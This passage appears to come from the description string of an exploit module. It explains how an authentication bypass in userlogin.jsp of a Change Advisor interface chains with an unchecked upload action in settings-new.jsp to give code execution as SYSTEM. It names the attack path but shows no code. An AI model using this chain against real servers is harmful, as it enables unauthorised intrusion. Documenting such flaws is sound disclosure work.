is an authentication bypass via the Change Advisor interface due to a user-controlled session.putValue
API in userlogin.jsp, allowing the attacker to set the 'username' attribute before authentication. The
second problem is that the settings-new.jsp file will only check the 'username' attribute before
authorizing the 'uploadFile' action, which can be exploited and allows the attacker to upload a fake
xls host list file to the server, and results in arbitrary code execution under the context of SYSTEM.");
